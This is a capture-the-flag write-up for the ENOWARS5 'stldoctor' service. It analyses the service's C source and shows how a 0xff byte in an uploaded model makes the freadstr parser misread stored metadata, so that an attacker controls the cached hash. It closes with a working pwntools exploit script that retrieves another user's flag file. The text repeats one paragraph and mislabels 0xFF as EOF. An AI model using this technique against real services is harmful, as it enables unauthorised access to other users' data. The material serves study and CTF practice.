ENOWARS5 stldoctor Challenge

Challenge Description

A collection of c and header files. Once built the stldoctor binary has an option for upload. Which takes a name, file length, and data. The name is then hashed and the hash + some random string is used for a filename. The data provided is then placed into the filename calculated along with some metadata like the name you provided.

Upon building and running the stldoctor challenge we see a few functionalities offered. The only two which matter to us are upload and search. The upload command takes a name, length, and data. The search command takes a name of an uploaded file.

Providing Proper Input

Having done a little 3D modeling I knew stl files were 3D models. However any attempts in providing stl files made in Blender resulted in errors. So we begin by figuring out how the hell input can be parsed successfully. First taking a look at upload_cmd.

    void
    upload_cmd(const char *arg)
    {
        char *end, *contents = NULL, *modelname = NULL;
        const char *resp;
        size_t len;
    
        modelname = checkp(strdup(ask("> Model name: ")));
        if (!strlen(modelname)) {
                ERR("Empty model names are not allowed");
                goto exit;
        }
    
        resp = ask("> File size: ");
        len = strtoul(resp, &end, 10);
        if (len <= 0 || len >= MAXFILESIZE || *end) {
                ERR("Invalid file length!\n");
                goto exit;
        }
    
        printf("Ok! Im listening..\n");
        contents = checkp(malloc(len + 1));
        if (fread(contents, 1, len, stdin) != len) {
                ERR("Not enough data received!\n");
                goto exit;
        }
        contents[len] = '\0';
    
        if ((cached.valid = parse_file(&cached, contents, len, &modelname))) {
                if (save_submission(&cached, contents, len) != OK)
                        ERR("Failed to save your submission!\n");
                else
                        printf("Your file was saved with ID %s!\n", cached.hash);
        }
    
    exit:
        free(contents);
        free(modelname);
    }

The important line in upload_cmd is: if ((cached.valid = parse_file(&cached, contents, len, &modelname))) So a struct called cached is being passed by reference into a function parse_file. So we will dig into parse_file to solve our parsing problem but keep cached in mind as that is where the exploitation lies.

A glance at parse_file shows us that it calls another function parse_file_bin while the rest is pretty uneventful. The cached parameter which parse_file takes is passed through onto parse_file_bin so we will jump to looking at parse_file_bin.

int
parse_file_bin(struct parseinfo *info, char *buf, size_t len)
{
    printf("HIT\n");
    char *bp, *end = buf + len;
    int i, k;
    float v;
    info->type = TYPE_BIN;

    if (len < 84) {
        FMT_ERR("Truncated data! (header missing)\n");
        goto fail;
    }

    memcpy(info->header, buf, 80);

    info->solidname = checkp(strndup(buf + (*buf == '#'), 80));

    bp = buf + 80;
    info->loopcount = le32toh(*(uint32_t*)bp);
    bp += 4;
    printf("LOOPCOUNT: %d\n",info->loopcount);
    if (!info->loopcount) {
        memset(info->bbmax, 0, sizeof(float) * 3);
        memset(info->bbmin, 0, sizeof(float) * 3);
        return OK;
    }

    for (i = 0; i < 3; i++) {
        info->bbmin[i] = INFINITY;
        info->bbmax[i] = -INFINITY;
    }

    for (i = 0; i < info->loopcount; i++) {
        if (bp + 50 > end) {
            FMT_ERR("Truncated data! (loops missing)\n");
            goto fail;
        }
        for (k = 0; k < 12; k++, bp += 4) {
            printf("bp: %p\n",bp);
            v = fle32toh(*(float*)bp);
            if (v == INFINITY || v == NAN) {
                FMT_ERR("Encountered invalid float\n");
                goto fail;
            }
            if (k >= 3) {
                info->bbmin[k % 3] = MIN(info->bbmin[k % 3], v);
                info->bbmax[k % 3] = MAX(info->bbmax[k % 3], v);
            }
        }
        bp += 2;
    }

    if (bp != end) {
        FMT_ERR("Extraneous data at end of file\n");
        goto fail;
    }

    return OK;

fail:
    FREE(info->solidname);
    return FAIL;
}

This function tells us all we need to get our input successfully uploaded.

  1. content must be atleast 84 bytes long
  2. first 80 bytes can be anything
  3. last 4 bytes are interpreted as a number
  4. crazy stuff happens when the last 4 bytes isn't 0

So our input must be 80 bytes of characters and 4 null bytes at the end.

Investigating "search"

The search command typically takes a name which will output the file assuming one exists under that name. From the code of search_cmd we see you can pass in last instead of a name as the search argument.

When search last is ran, the program uses the cached structure to read the most recently uploaded file. In the upload_cmd code that the cached object is set up here. Specfically in the following code snippet.

if ((cached.valid = parse_file(&cached, contents, len, &modelname))) {
    if (save_submission(&cached, contents, len) != OK)
            ERR("Failed to save your submission!\n");
    else
        printf("Your file was saved with ID %s!\n", cached.hash);
    }

That last code snippet shows that cached is passed into parse_file. So let's take a look at what this variable actually is. Here I show two code snippets where the cached variable is defined at the start of main.c and what the parseinfo struct looks like as defined in stlfile.h.

// DEFINED AT THE START OF main.c
struct parseinfo cached = { 0 };

...

// DEFINED IN stlfile.h
struct parseinfo {
    char header[80], *hash, *modelname, *solidname;
    uint32_t loopcount;
    unsigned filesize;
    float bbmin[3], bbmax[3];
    int type, valid;
};

Let's step back a moment. We are provided with a portion of an upload's hash. This piece of hash corresponds to the filepath where the upload is stored, inside this file is the flag. However we can only search by a name (not the hash) or by the cached object. As reversing the fractured hash provided to us is out of the question the only possible place for exploitation is cached. The next step was to look everywhere that can manipulate cached. After some digging we find three notable spots in main.c.

What Manipulates The Cache?

The following functions (in main.c) use the cached object

  • upload_cmd: cached is set here
  • search_cmd: cached is used here
  • handle_download: ???

So naturally we dig into handle_download which appears to be called inside of search_cmd after the desired filename is deduced from either a provided hash or cached.hash when running "search last". Code for handle_download can be seen belowxxx

int
handle_download(const char *scandir)
{
        char *infopath = NULL, *modelpath = NULL;
        size_t i, size;
        int status = OK;
        FILE *f;


        infopath = aprintf("%s/%s", scandir, "info");
        if (!(f = fopen(infopath, "r"))) {
                ERR("Selected result is missing!\n");
                goto fail;
        }

        free_info(&cached);
        printf("\nCACHED\n: %s",cached.hash);
        if (load_info(&cached, f) != OK) {
                ERR("Failed to parse info file!\n");
                goto fail;
        }
        FCLOSE(f);
        printf("\nCACHED\n: %s",cached.hash);

        print_info(&cached);

        if (strchr(ask("> Download model? "), 'y')) {
                modelpath = aprintf("%s/%s", scandir, "model");
                if (!(f = fopen(modelpath, "r"))) {
                        ERR("Failed to access file!\n");
                        goto fail;
                }
                fseek(f, 0, SEEK_END);
                size = ftell(f);
                fseek(f, 0, SEEK_SET);
                if (size >= MAXFILESIZE) {
                        ERR("File is too large!\n");
                        goto fail;
                }
                printf("Here you go.. (%liB)\n", size);
                while ((i = getc(f)) != EOF)
                        putc(i, stdout);
                FCLOSE(f);
        }
        printf("CACHED\n: %s",cached.hash);

exit:
        if (f) fclose(f);
        free(infopath);
        free(modelpath);
        return status;

fail:
        status = FAIL;
        goto exit;
}
                    

Within this function we see two things happen with cached. The struct is passed by reference into free_info then into load_info. Based on name alone we know that free_info must be wiping cached. But looking at load_info we see it receives a file pointer as a second parameter. This file pointer f had it's path deduced back in search_cmd and contains contents for an upload. You can see the file being opened at the beginning of handle_download.

Remember the question we are looking to answer is why can we not call search last twice in a row. Well we know that cached must be getting emptied out from free_info. Which would explain why because search last uses cached. But then what the hell is load_info doing? We have to go deeper. Into load_info specifically.

int
    load_info(struct parseinfo *info, FILE *f)
    {
        size_t nread = 0;
        int i;
    
        nread += fread(&info->type, sizeof(int), 1, f);
        nread += fread(&info->loopcount, sizeof(int), 1, f);
        nread += fread(&info->filesize, sizeof(unsigned), 1, f);
    
        for (i = 0; i < 3; i++) {
            nread += fread(&info->bbmin[i], sizeof(float), 1, f);
            nread += fread(&info->bbmax[i], sizeof(float), 1, f);
        }
    
        nread += fread(info->header, 80, 1, f);
        if (nread != 10) return FAIL;
        freadstr(f, &info->solidname);
        freadstr(f, &info->hash);
        freadstr(f, &info->modelname);
    
        info->valid = 1;
    
        return OK;
    }

The function is receiving the first parameter as the cached struct while the second param is the file pointer containing the same data. A bunch of stuff is being read in from the file. Though looking near the bottom of the function we see the important stuff being read in. The first 80 bytes of the file are read into the first parameter's header attribute. This makes sense with what was discovered earlier about how input is parsed and what the parseinfo struct looks like. Then some function reads data from the file into the first param's solidname, hash, and modelname member variables.

The notable feature of the last three reads into info is the function being used. The freadstr function was not utilized by the other reads into info in the rest of load_info. Also quickly we need to step back and evaluate what we are trying to accomplish. We are provided with a porition of a hash by the challenge. Though we can only search by modelname not the hash. Therefore if we can control the hash attribute in cached we will be able to dump the flag file's contents.

Abusing The Cache With handle_download()

With the end goal in mind, we see that load_info is using an obscure function to read data directly into the hash variable. As it turns out freadstr was made for this challenge and is found in util.c so let's see what how to leverage it.

void
    freadstr(FILE *f, char **dst)
    {
        size_t start, len, tmp;
        char c;
    
        start = ftell(f);
        for (len = 0; (c = fgetc(f)) != EOF && c; len++);
        fseek(f, start, SEEK_SET);
    
        *dst = checkp(calloc(1, len + 1));
        tmp = fread(*dst, len, 1, f);
        fgetc(f);
        printf("START VAL: %s\n", *(dst) );
    }

Essentially freadstr reads bytes from a file while the current byte is not \x00 or EOF (End-Of-File also known as 0xFF). Then sets the file position indictor to how many bytes was just read. That means that any subsequent read attempts will begin where the last read stopped. So with a specially crafted content upload we could actually control what value the cached object's hash variable will be. We need to insert an EOF character at two points.

Essentially freadstr reads bytes from a file while the current byte is not \x00 or EOF (End-Of-File). Then sets the file position indictor to how many bytes was just read. That means that any subsequent read attempts will begin where the last read stopped. So with a specially crafted content upload we could actually control what value the cached object's hash variable will be. We need to insert an EOF character at two points.

random_solidname 0xff the_hash_we_have 0xff random_modelname

Sending a payload following that scheme will set cached to our hash. Then we will just simply have to call search last an extra time. After which BOOM we will get the flag file's contents printed out.

Exploitation

#!/bin/env python
import sys
from pwn import *
import string
import sys
import requests

p = process('./stldoctor' )
p.sendline("upload")

modelname = ''.join(random.choice(string.ascii_letters) for x in range(20))

p.sendline( modelname ) # name
p.sendline( "84" ) # length
given_hash = "ba89004348"
p.send( "A"*10 + "\xff" + given_hash + "\xff" + "X"*58 + "\x00"*4 )

sys.stdout.buffer.write( p.recvuntil("Your file was saved with ID") )
p.sendline( "search last" )
p.recvuntil("!")
p.recvline()
our_upload_hash = p.recvline().decode('utf-8')[4:-1]

p.recvuntil(":")
p.sendline( our_upload_hash )
p.recvuntil("?")
p.sendline("n")
p.recvuntil(":")
p.sendline("q")
p.sendline("search last")
p.recvline()
full_flag_hash = p.recvline().decode('utf-8')[4:-1]
p.recvuntil(":")
p.sendline(full_flag_hash)

sys.stdout.buffer.write( p.recvuntil("==================") )